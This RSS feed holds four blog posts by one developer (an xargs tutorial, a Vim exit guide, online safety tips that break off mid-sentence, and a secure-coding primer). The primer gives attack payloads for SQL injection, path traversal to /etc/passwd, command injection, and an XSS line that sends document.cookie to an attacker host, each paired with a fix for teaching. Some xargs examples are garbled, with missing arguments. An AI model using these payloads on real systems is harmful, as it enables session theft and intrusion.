<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tshenolo Mos on Medium]]></title>
        <description><![CDATA[Stories by Tshenolo Mos on Medium]]></description>
        <link>https://medium.com/@tshenolomos?source=rss-88efd943f6b8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-TixFPfCsKO340iWHGUZgQ.png</url>
            <title>Stories by Tshenolo Mos on Medium</title>
            <link>https://medium.com/@tshenolomos?source=rss-88efd943f6b8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 19:45:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tshenolomos/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Stop Writing Shell Loops — Use xargs Instead]]></title>
            <link>https://medium.com/@tshenolomos/stop-writing-shell-loops-use-xargs-instead-5826b05e8f8c?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5826b05e8f8c</guid>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[workflow]]></category>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[productivity]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sun, 17 May 2026 02:49:34 GMT</pubDate>
            <atom:updated>2026-09-22T18:35:56.483Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UEs9U2SaEG4ubBxD.png" /></figure><p>If you’ve ever written a for loop just to run the same command on a list of files, there&#39;s a faster way. xargs is a small Linux command that can replace loops, one-off scripts, and a lot of repetitive typing. Once it clicks, you&#39;ll use it all the time.</p><p>Here’s what it does, why it matters, and the real-world patterns worth keeping in your toolkit.</p><h3>Watch the 60-Second Version</h3><p>I also made a quick YouTube Short that shows this visually.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FHh4PLmbmZI4%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DHh4PLmbmZI4&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FHh4PLmbmZI4%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c021ab51260c22e98e9c29e3a93f9f8c/href">https://medium.com/media/c021ab51260c22e98e9c29e3a93f9f8c/href</a></iframe><h3>What xargs Actually Does</h3><p>xargs takes input from one command and turns it into <strong>arguments</strong> for another command.</p><pre>echo &quot;file1.txt file2.txt file3.txt&quot; | xargs rm</pre><p>That’s equivalent to:</p><pre>rm file1.txt file2.txt file3.txt</pre><p>Instead of typing every filename yourself, xargs builds the command for you.</p><h3>The Problem It Solves</h3><p>Say you have hundreds of log files scattered across a project and you want them gone. find can locate them:</p><pre>find . -name &quot;*.log&quot;</pre><p>But that only <em>prints</em> the files. To act on them, pipe the output into xargs:</p><pre>find . -name &quot;*.log&quot; | xargs rm</pre><p>xargs collects the output from find and passes it to rm as arguments. No loop required.</p><h3>The Secret Weapon: -I</h3><p>By default, xargs appends input to the end of the command. The -I flag lets you place the input <strong>anywhere</strong> using a placeholder:</p><pre>echo &quot;report.pdf&quot; | xargs -I {} cp {} /backup/{}.bak</pre><p>Every {} gets replaced with the input, so this runs:</p><pre>cp report.pdf /backup/report.pdf.bak</pre><p>This is where xargs starts to feel like a tiny automation engine. <br>Note that -I runs the command once per input line, rather than batching everything into one call.</p><h3>Real Developer Examples</h3><p>Here are patterns developers reach for all the time.</p><p><strong>Docker</strong></p><pre># Stop all running containers<br>docker ps -q | xargs docker stop<br><br># Remove exited containers<br>docker ps -aq -f status=exited | xargs docker rm</pre><p><strong>Git</strong></p><pre># Delete branches already merged into main <br>git branch --merged main | grep -vE | xargs git branch -d</pre><p>The grep filters out main and the current branch (marked with *).</p><p><strong>Networking and downloads</strong></p><pre># Download multiple URLs, 8 at a time <br>cat urls.txt | xargs -P 8 -I {} curl -O {} <br><br># Ping a list of servers <br>cat servers.txt | xargs -I {} ping -c 1 {} <br><br># Open multiple URLs in the browser <br>cat urls.txt | xargs firefox</pre><p>The -P flag runs commands <strong>in parallel</strong>. That&#39;s a big speedup for network-bound work with almost no extra effort.</p><p><strong>Files and folders</strong></p><pre># Delete all .tmp files <br>find . -name | xargs rm <br><br># Create directories listed in a file <br>cat folders.txt | xargs mkdir <br><br># Show disk usage for multiple folders <br>cat folders.txt | xargs du -sh <br><br># Delete files listed in a text file <br>cat delete-me.txt | xargs rm</pre><p><strong>Logs and code</strong></p><pre># Search every log file for errors<br>find . -name &quot;*.log&quot; | xargs grep &quot;ERROR&quot;<br><br># Compress all log files<br>find . -name &quot;*.log&quot; | xargs gzip<br><br># Count lines across all Python files<br>find . -name &quot;*.py&quot; | xargs wc -l</pre><h3>Quick Reference</h3><pre>| Flag  | What it does                                             |<br>|-------|----------------------------------------------------------|<br>| -I {} | Replace {} with each input item, anywhere in the command |<br>| -P N  | Run up to N commands in parallel                         |<br>| -0    | Split input on null characters (pairs with find -print0) |<br>| -t    | Print each command before running it                     |<br>| -p    | Prompt for confirmation before each command              |<br>| -r    | Don&#39;t run the command if input is empty (GNU xargs)      |<br>| -n N  | Pass at most N arguments per command                     |</pre><h3>Safe Usage Tips</h3><p>xargs is powerful, which means it can also do damage fast. A few habits will keep you out of trouble.</p><ol><li><strong>Handle filenames with spaces.</strong> By default, xargs splits on whitespace, so a file called my report.log becomes two arguments: my and report.log. Use null-separated output instead:</li></ol><pre>find . -name &quot;*.log&quot; -print0 | xargs -0 rm</pre><p>-print0 and -0 work together to safely handle spaces, quotes, and other odd characters in filenames.</p><p><strong>2. Dry-run destructive commands.</strong> Put echo in front of the command to see exactly what would run, without running it:</p><pre>find . -name &quot;*.log&quot; | xargs echo rm</pre><p>Happy with the output? Remove echo and run it for real.</p><p>-t prints each command <em>as it executes</em>, which is great for visibility but it is <strong>not</strong> a preview; the command still runs. If you want to approve each one, use -p:</p><p>3. Know what -t and -p do. -t prints each command <em>as it executes</em>, which is great for visibility but it is not a preview; the command still runs. If you want to approve each one, use -p:</p><pre>find . -name &quot;*.log&quot; | xargs -p rm</pre><p><strong>4. Guard against empty input.</strong> If docker ps -q returns nothing, xargs docker stop will still run docker stop with no arguments and throw an error. On GNU/Linux, -r skips the run entirely:</p><pre>docker ps -q | xargs -r docker stop</pre><h3>Wrapping Up</h3><p>xargs turns Linux into a programmable workflow engine. Pipe in a list, get a command run for each item, in batches or in parallel. Once you learn it, you stop writing repetitive shell loops.</p><p>Start small: next time you reach for a for loop, try xargs instead.</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:<br>🐦 Follow me on X<br>📺 Subscribe to my Youtube channel</p><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5826b05e8f8c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Developers Should Learn Basic Hacking]]></title>
            <link>https://medium.com/@tshenolomos/why-developers-should-learn-basic-hacking-dea51d5227a5?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/dea51d5227a5</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sat, 09 May 2026 23:18:00 GMT</pubDate>
            <atom:updated>2026-05-09T23:18:00.289Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pS_Mc-CvdJm1Ph5OhpTLDQ.png" /></figure><p><em>Security awareness isn’t just a checkbox — it’s a mindset that makes you a better developer.</em></p><h3>Table of Contents</h3><ol><li>Introduction</li><li>The Developer’s Blind Spot</li><li>Why Thinking Like an Attacker Improves Your Code</li><li>Meet OWASP — Your Free Security Curriculum</li><li>SQL Injection: When Your Database Trusts the Wrong Person</li><li>Cross-Site Scripting (XSS): Your HTML is Not a Sandbox</li><li>LFI / Directory Traversal: The File Path That Wasn’t</li><li>Command Injection: When Your Shell Becomes Their Shell</li><li>Insecure Direct Object Reference (IDOR): The Missing Authorization Check</li><li>Building the Security Mindset</li><li>Conclusion</li></ol><h3>Introduction</h3><p>Most developers I know are great at building things. We can spin up a Flask app, wire it to a database, slap on a frontend, and ship it before lunch. But there’s a quiet question that often goes unasked during all of that:</p><blockquote>“How would someone break this?”</blockquote><p>That question is the heart of basic hacking — and it’s exactly the question that separates code that <em>works</em> from code that <em>holds up</em>. You don’t need to become a penetration tester or a CTF champion to benefit from it. You just need to learn enough offensive thinking to spot the cracks before someone else does.</p><p>This post walks through five of the most common vulnerability classes every developer should understand, with small, realistic code examples. For each one, we’ll look at the bug first, then flip the table and look at it through an attacker’s eyes.</p><h3>Watch the 60-Second Version</h3><p>I also made a quick YouTube Short that shows this visually.</p><iframe src="https://cdn.embedly.com/widgets/media.html?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Du7fjAE4pzyg&amp;type=text%2Fhtml&amp;schema=google&amp;display_name=YouTube&amp;src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fu7fjAE4pzyg" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/157567409b2487a29b09e3618c4a2b7f/href">https://medium.com/media/157567409b2487a29b09e3618c4a2b7f/href</a></iframe><h3>The Developer’s Blind Spot</h3><p>When you write code, your brain is wired toward the <strong>happy path</strong>. You assume:</p><ul><li>Users will type their actual name in the name field.</li><li>File paths will point to real files.</li><li>Form submissions will come from your form.</li><li>The frontend validation you wrote will run.</li></ul><p>Attackers don’t share any of those assumptions. They live in the <strong>unhappy path</strong>. They poke at every input boundary, every trust assumption, every “this could never happen” comment in your code.</p><p>Learning basic hacking is really just learning to question those assumptions yourself, <em>before</em> shipping.</p><h3>Why Thinking Like an Attacker Improves Your Code</h3><p>Here’s something that surprised me the first time I dipped into CTF challenges: the offensive mindset doesn’t just make you safer — it makes you a <strong>better debugger</strong>.</p><p>When you’ve spent time exploiting bugs, you naturally start thinking about:</p><ul><li><strong>Edge cases</strong>, because exploits live in edge cases.</li><li><strong>State and data flow</strong>, because exploits chain across boundaries.</li><li><strong>Trust boundaries</strong>, because every exploit crosses one.</li><li><strong>Failure modes</strong>, because security bugs and regular bugs are often the same bug viewed from different angles.</li></ul><p>A developer who can ask <em>“what if this input is malicious?”</em> is the same developer who asks <em>“what if this input is empty, oversized, or in a different encoding?”</em> — which is exactly the question that prevents the 2 a.m. production page.</p><h3>Meet OWASP — Your Free Security Curriculum</h3><p>Before we dive into the bugs, you should know about <a href="https://owasp.org/">OWASP</a> (Open Worldwide Application Security Project). It’s a non-profit that publishes free, vendor-neutral security guidance, and it’s the closest thing the industry has to a shared baseline.</p><p>Two things from OWASP every developer should bookmark:</p><p>Resource What it is Why you care <strong>OWASP Top 10</strong> The ten most critical web app risks, updated periodically A prioritized list of what to actually defend against <strong>OWASP Cheat Sheet Series</strong> Short, focused defense guides per topic Drop-in references when you’re writing code</p><p>Most of what we cover below maps directly to entries in the OWASP Top 10. If you only learn one body of security knowledge in your career, learn this one.</p><h3>1. SQL Injection: When Your Database Trusts the Wrong Person</h3><h3>The Bug</h3><pre># Flask login route<br>@app.route(&quot;/login&quot;, methods=[&quot;POST&quot;])<br>def login():<br>    username = request.form[&quot;username&quot;]<br>    password = request.form[&quot;password&quot;]<br><br>    query = f&quot;SELECT * FROM users WHERE username = &#39;{username}&#39; AND password = &#39;{password}&#39;&quot;<br>    user = db.execute(query).fetchone()<br><br>    if user:<br>        return &quot;Welcome!&quot;<br>    return &quot;Invalid credentials&quot;</pre><p>Looks fine, right? It works. You can log in. Tests pass.</p><h3>The Attacker’s View</h3><p>The attacker doesn’t see a login form. They see a <strong>string concatenation that builds SQL from user input</strong>. So they send:</p><pre>username: admin&#39; --<br>password: anything</pre><p>Your query becomes:</p><pre>SELECT * FROM users WHERE username = &#39;admin&#39; --&#39; AND password = &#39;anything&#39;</pre><p>The -- comments out the rest. The attacker is now logged in as admin without knowing the password. Worse variants (&#39; OR 1=1 --, &#39; UNION SELECT ...) can dump entire tables.</p><h3>The Fix</h3><p>Use <strong>parameterized queries</strong>. The database driver handles escaping properly:</p><pre>query = &quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;<br>user = db.execute(query, (username, password)).fetchone()</pre><p>The mental shift: <strong>never build SQL by concatenating strings</strong>. Treat every piece of user input as untrusted data, not as code.</p><h3>2. Cross-Site Scripting (XSS): Your HTML is Not a Sandbox</h3><h3>The Bug</h3><pre>@app.route(&quot;/search&quot;)<br>def search():<br>    query = request.args.get(&quot;q&quot;, &quot;&quot;)<br>    return f&quot;&lt;h1&gt;Results for: {query}&lt;/h1&gt;&quot;</pre><p>You echo back what the user searched for. Friendly UX. Ship it.</p><h3>The Attacker’s View</h3><p>The attacker sees that <strong>whatever they put in </strong><strong>q ends up in the HTML response, raw</strong>. So they craft a URL:</p><pre>/search?q=&lt;script&gt;fetch(&#39;https://attacker.com/steal?c=&#39;+document.cookie)&lt;/script&gt;</pre><p>They send that URL to a logged-in user (email, social media, forum post). The user clicks. Their browser runs the script. Their session cookie is now on the attacker’s server.</p><h3>The Fix</h3><p>Two layers:</p><ol><li><strong>Escape output</strong>, always. Templating engines like Jinja2 do this by default with {{ variable }}. Don&#39;t bypass it without a very good reason.</li><li><strong>Set a Content-Security-Policy header</strong> so even if something slips through, inline scripts won’t run.</li></ol><pre>from markupsafe import escape<br><br>@app.route(&quot;/search&quot;)<br>def search():<br>    query = request.args.get(&quot;q&quot;, &quot;&quot;)<br>    return f&quot;&lt;h1&gt;Results for: {escape(query)}&lt;/h1&gt;&quot;</pre><p>The mental shift: <strong>HTML is code</strong>. If user input flows into HTML without escaping, you’re letting users write code that runs in other users’ browsers.</p><h3>3. LFI / Directory Traversal: The File Path That Wasn’t</h3><h3>The Bug</h3><pre>@app.route(&quot;/download&quot;)<br>def download():<br>    filename = request.args.get(&quot;file&quot;)<br>    return send_file(f&quot;/var/www/uploads/{filename}&quot;)</pre><p>You let users download files from an uploads folder. Reasonable. The path is hardcoded to a safe directory.</p><h3>The Attacker’s View</h3><p>The attacker sees filename is concatenated into a path with no validation. So they send:</p><pre>/download?file=../../../../etc/passwd</pre><p>The path resolves to /etc/passwd. On a typical Linux box, that hands them a list of every user account on the system. With more probing they read your .env file, your SSH keys, your application source code.</p><h3>The Fix</h3><p>Two things — do <strong>both</strong>, not either:</p><pre>import os<br>from pathlib import Path<br><br>UPLOADS = Path(&quot;/var/www/uploads&quot;).resolve()<br><br>@app.route(&quot;/download&quot;)<br>def download():<br>    filename = request.args.get(&quot;file&quot;, &quot;&quot;)<br>    target = (UPLOADS / filename).resolve()<br><br>    # Make sure the resolved path is still inside UPLOADS<br>    if not str(target).startswith(str(UPLOADS) + os.sep):<br>        abort(403)<br><br>    if not target.is_file():<br>        abort(404)<br><br>    return send_file(target)</pre><p>The mental shift: <strong>a filename is not a path</strong>. Anything a user provides that ends up in a filesystem call needs canonicalization and a containment check.</p><h3>4. Command Injection: When Your Shell Becomes Their Shell</h3><h3>The Bug</h3><pre>@app.route(&quot;/ping&quot;)<br>def ping():<br>    host = request.args.get(&quot;host&quot;)<br>    output = os.popen(f&quot;ping -c 1 {host}&quot;).read()<br>    return f&quot;&lt;pre&gt;{output}&lt;/pre&gt;&quot;</pre><p>A handy little admin tool. Type a hostname, get a ping result.</p><h3>The Attacker’s View</h3><p>The attacker doesn’t see a ping tool. They see <strong>a shell command being built from a query string</strong>. So they send:</p><pre>/ping?host=example.com; cat /etc/passwd</pre><p>The shell sees two commands separated by ;. It runs both. Variants with &amp;&amp;, |, backticks, or $(...) all do similar things. The attacker now has arbitrary command execution as your web server user.</p><h3>The Fix</h3><p>Don’t invoke a shell. Use subprocess with a list of arguments — no shell interpretation happens:</p><pre>import subprocess<br>import shlex<br><br>@app.route(&quot;/ping&quot;)<br>def ping():<br>    host = request.args.get(&quot;host&quot;, &quot;&quot;)<br><br>    # Validate aggressively — hostnames have a known shape<br>    if not re.fullmatch(r&quot;[a-zA-Z0-9.\-]+&quot;, host):<br>        abort(400)<br><br>    result = subprocess.run(<br>        [&quot;ping&quot;, &quot;-c&quot;, &quot;1&quot;, host],<br>        capture_output=True, text=True, timeout=5<br>    )<br>    return f&quot;&lt;pre&gt;{escape(result.stdout)}&lt;/pre&gt;&quot;</pre><p>The mental shift: <strong>shell=True and string interpolation are a deadly combination</strong>. If user input has to reach a subprocess, pass it as a list argument and validate its shape first.</p><h3>5. Insecure Direct Object Reference (IDOR): The Missing Authorization Check</h3><h3>The Bug</h3><pre>@app.route(&quot;/invoice/&lt;int:invoice_id&gt;&quot;)<br>@login_required<br>def view_invoice(invoice_id):<br>    invoice = db.query(Invoice).get(invoice_id)<br>    return render_template(&quot;invoice.html&quot;, invoice=invoice)</pre><p>The user is logged in. They can only see invoice IDs they own from the UI. Looks safe.</p><h3>The Attacker’s View</h3><p>The attacker sees that invoice_id is <strong>just a number in the URL</strong>, and the code only checks <em>that you&#39;re logged in</em>, not <em>that the invoice belongs to you</em>. So they:</p><ol><li>Log in to their own account.</li><li>Visit /invoice/1, then /invoice/2, then /invoice/3 …</li><li>Read every invoice in the system.</li></ol><p>This bug is sneaky because it produces no error, no anomalous behavior, and no log entry that looks suspicious. It just quietly leaks data to anyone who increments a number.</p><h3>The Fix</h3><p><strong>Authentication is not authorization.</strong> Every object lookup must check that the current user is allowed to see <em>that specific object</em>:</p><pre>@app.route(&quot;/invoice/&lt;int:invoice_id&gt;&quot;)<br>@login_required<br>def view_invoice(invoice_id):<br>    invoice = db.query(Invoice).filter_by(<br>        id=invoice_id,<br>        owner_id=current_user.id   # the critical line<br>    ).first_or_404()<br><br>    return render_template(&quot;invoice.html&quot;, invoice=invoice)</pre><p>The mental shift: <strong>knowing who someone is</strong> (authentication) is a different question from <strong>what they’re allowed to do</strong> (authorization). Ask both, every single time.</p><h3>Building the Security Mindset</h3><p>Notice the pattern across all five vulnerabilities:</p><pre>| Bug Type          | Trust Assumption That Broke                 |<br>| ----------------- | ------------------------------------------- |<br>| SQL Injection     | &quot;Input strings are just data&quot;               |<br>| XSS               | &quot;My HTML output is just a string&quot;           |<br>| LFI               | &quot;A filename is just a name&quot;                 |<br>| Command Injection | &quot;Arguments to a command are just arguments&quot; |<br>| IDOR              | &quot;Logged in means allowed&quot;                   |</pre><p>Every one is a case of the developer treating something as <strong>inert</strong> when it was actually <strong>active</strong>. The security mindset is, fundamentally, the discipline of asking:</p><blockquote>“Where does data cross a trust boundary in this code, and what could it become on the other side?”</blockquote><p>A few practical habits that flow from this:</p><ul><li><strong>Treat all input as untrusted by default</strong>, including input from your own database, your own internal services, and your own logs.</li><li><strong>Validate at the boundary</strong>, not deep in business logic. The earlier you reject bad input, the smaller your attack surface.</li><li><strong>Default-deny, not default-allow</strong>, for any access decision.</li><li><strong>Read the OWASP Top 10 once a year</strong>. It changes. So do you.</li><li><strong>Try a CTF</strong>. Even a beginner-level challenge will teach you more about HTTP, cookies, and parsers than a year of normal feature work.</li></ul><h3>Conclusion</h3><p>You don’t need to become a security engineer to write secure software. You just need enough offensive intuition to recognize the shape of a bad pattern when you’re typing it.</p><p>Every example in this post is a few characters away from being safe. Parameterized query instead of f-string. escape() instead of raw concatenation. Path containment check instead of blind concatenation. Argument list instead of shell string. owner_id=current_user.id instead of trusting the URL.</p><p>Those are small habits. But they compound. Once you start seeing code through an attacker’s eyes, you can’t unsee it — and your code gets quietly, durably better.</p><p>So the next time you write a route, a query, or a file handler, take five seconds and ask the question:</p><blockquote>“How would someone break this?”</blockquote><p>Then write the version that survives the answer.</p><p><em>If you found this useful and want to go deeper, the </em><a href="https://owasp.org/Top10/"><em>OWASP Top 10</em></a><em> and </em><a href="https://portswigger.net/web-security"><em>PortSwigger Web Security Academy</em></a><em> are the best free resources I know of. Both are worth a weekend.</em></p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dea51d5227a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Exit Vim (Finally Explained)]]></title>
            <link>https://medium.com/@tshenolomos/how-to-exit-vim-finally-explained-3a26fdc98c3e?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a26fdc98c3e</guid>
            <category><![CDATA[vim]]></category>
            <category><![CDATA[exit]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cli]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 04:19:16 GMT</pubDate>
            <atom:updated>2026-05-08T03:36:13.119Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nj5o4fko3GLu5_ldb8OfgQ.png" /></figure><p>If you’ve ever opened Vim and felt stuck, you’re not alone.</p><p>Many developers joke that the hardest part of Vim is figuring out how to exit it. But once you understand a few simple commands, it becomes easy.</p><p>In this guide, you’ll learn exactly how to exit Vim — quickly and confidently.</p><h3>Watch the 60-Second Version</h3><p>I also made a quick YouTube Short that shows this visually.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FdRDBSRx6-MY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DdRDBSRx6-MY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FdRDBSRx6-MY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/39278c4af48be5484dadbe4e5f450382/href">https://medium.com/media/39278c4af48be5484dadbe4e5f450382/href</a></iframe><h3>Why Vim Feels Confusing</h3><p>Vim works differently from most editors.</p><p>When you open a file, you’re not in “typing mode” right away. Instead, Vim starts in <strong>normal mode</strong>, where keys are used for commands instead of typing text.</p><p>That’s why pressing keys doesn’t do what you expect at first.</p><h3>Step 1: Open a File</h3><p>To open a file in Vim, run:</p><pre>vim file.txt</pre><p>This opens the file inside the Vim editor.</p><h3>Step 2: Enter Insert Mode</h3><p>To start typing, press:</p><pre>i</pre><p>Now you can edit the file like a normal text editor.</p><h3>Step 3: Exit Insert Mode</h3><p>Before running any commands, press:</p><pre>Esc</pre><p>This takes you back to normal mode.</p><h3>Step 4: Exit Vim (The Important Part)</h3><p>Here are the commands you actually need:</p><h3>Save and Quit</h3><pre>:wq</pre><p>This saves your changes and exits Vim.</p><h3>Quit Without Saving</h3><pre>:q!</pre><p>This exits Vim and discards any changes.</p><h3>Save Only</h3><pre>:w</pre><p>This saves your file but keeps Vim open.</p><h3>Quit (Only if No Changes)</h3><pre>:q</pre><p>This exits Vim only if nothing has changed.</p><h3>Quick Mental Model</h3><p>Think of Vim like this:</p><ul><li>Esc → go back to command mode</li><li>: → start a command</li><li>w → write (save)</li><li>q → quit</li></ul><p>Combine them to get what you want.</p><h3>Common Mistake</h3><p>If Vim refuses to exit, it usually means:</p><ul><li>You are still in insert mode → press Esc</li><li>You made changes → use :wq or :q!</li></ul><h3>Bonus Tip</h3><p>If you’re just starting out, you don’t need to learn everything in Vim.</p><p>Just remember:</p><ul><li>i → start typing</li><li>Esc → stop typing</li><li>:wq → save and exit</li><li>:q! → exit without saving</li></ul><p>That’s enough to survive Vim.</p><h3>Final Thoughts</h3><p>Vim can feel intimidating at first, but it becomes simple once you understand modes and a few commands.</p><p>Start with the basics, and you’ll get comfortable quickly.</p><p>If this helped you, consider sharing it with someone who’s stuck in Vim right now 😄</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a26fdc98c3e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Don’t Get Hacked! Essential Online Safety Tips Revealed!]]></title>
            <link>https://medium.com/@tshenolomos/stay-safe-online-a-guide-for-everyday-internet-users-0730dc3fd84a?source=rss-88efd943f6b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/0730dc3fd84a</guid>
            <category><![CDATA[internet-safety]]></category>
            <category><![CDATA[cybersecurity-tips]]></category>
            <category><![CDATA[online-safety]]></category>
            <category><![CDATA[stay-safe-online]]></category>
            <dc:creator><![CDATA[Tshenolo Mos]]></dc:creator>
            <pubDate>Sat, 21 Feb 2026 16:52:08 GMT</pubDate>
            <atom:updated>2026-05-15T15:35:08.274Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gjvSZjyils205s_L" /></figure><p>The internet has become an essential part of our lives. From shopping and banking to social media and entertainment, we rely on it every day. But with convenience comes risk. Cybercriminals are constantly finding new ways to trick and exploit unsuspecting users. The good news? You don’t need to be a tech expert to protect yourself. This guide will show you simple, effective steps you can take to stay safe online.</p><p>Check out my <a href="https://www.youtube.com/@tshenolo"><strong>Youtube Channel</strong></a> where I post all kinds of content accompanying my posts, including this video showing everything in this post.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FDTQpTnwhfHU%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DDTQpTnwhfHU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FDTQpTnwhfHU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/633adc22770ab59975793faac2fb26d5/href">https://medium.com/media/633adc22770ab59975793faac2fb26d5/href</a></iframe><p><strong>1. Use Strong, Unique Passwords</strong> <br>Passwords are your first line of defense. Avoid using the same password for multiple accounts. Instead, create strong, unique passwords for each site. A good tip is to use a passphrase like “PurpleMonkey$DrivesFast!” which is both secure and easy to remember. Better yet, use a password manager like Bitwarden or 1Password to generate and store your passwords securely.</p><p><strong>2. Enable Two-Factor Authentication (2FA)</strong> <br>2FA adds an extra layer of security by requiring you to verify your identity using something you know (your password) and something you have (like your phone). Always enable 2FA on important accounts like email, banking, and social media. Apps like Google Authenticator or Authy make this easy.</p><p><strong>3. Spot Scams and Phishing Emails</strong> <br>Phishing emails often look like they’re from a trusted source but are designed to steal your information. Look out for:</p><ul><li>Generic greetings (“Dear user”)</li><li>Poor grammar or spelling mistakes</li><li>Suspicious links or attachments</li><li>Urgent language asking you to act immediately If you’re ever in doubt, don’t click. Go directly to the official website.</li></ul><p><strong>4. Practice Safe Browsing</strong> <br>Stick to trusted websites, especially when entering personal information. Look for “https” in the web address and a padlock icon in the browser bar. Avoid clicking on pop-up ads or downloading software from unverified sources.</p><p><strong>5. Adjust Your Social Media Privacy Settings</strong> <br>Limit who can see your posts and personal details. Oversharing can put you at risk of identity theft or even physical danger. Also, skip those “fun” quizzes that ask for details like your pet’s name or your mother’s maiden name — these are common security question answers.</p><p><strong>6. Keep Your Devices and Software Updated</strong> <br>Software updates often include critical security patches. Enable automatic updates for your operating system, apps, and antivirus tools. This simple step closes known vulnerabilities and keeps hackers at bay.</p><p><strong>7. Secure Your Home Wi-Fi Network</strong> <br>Change your router’s default password and use strong encryption (WPA2 or WPA3). You can also hide your network name (SSID) to make it less visible. Never leave your Wi-Fi open to the public.</p><p><strong>8. Install Antivirus and Anti-Malware Software</strong> <br>These tools help detect and remove malicious software before it can do damage. Reliable options include Malwarebytes, Norton, and Windows Defender. Regular scans are a must.</p><p><strong>9. Avoid Public Wi-Fi for Sensitive Activities</strong> <br>Public Wi-Fi is convenient but risky. Avoid logging into bank accounts or making purchases on unsecured networks. If you must use public Wi-Fi, consider using a VPN (Virtual Private Network) to encrypt your data.</p><p><strong>10. Back Up Your Important Data</strong> <br>Use cloud services like Google Drive or Dropbox, and back up files to an external hard drive. This protects you from data loss due to ransomware, hardware failure, or accidental deletion.</p><p><strong>11. Trust Your Instincts</strong> <br>If something feels off, it probably is. Whether it’s a suspicious email, a strange website, or a phone call asking for information, pause and verify before acting.</p><p>Staying safe online doesn’t have to be complicated. With a few proactive steps, you can dramatically reduce your risk and enjoy a safer digital life. Share these tips with friends and family — the more people who practice good online habits, the safer we all are.</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show 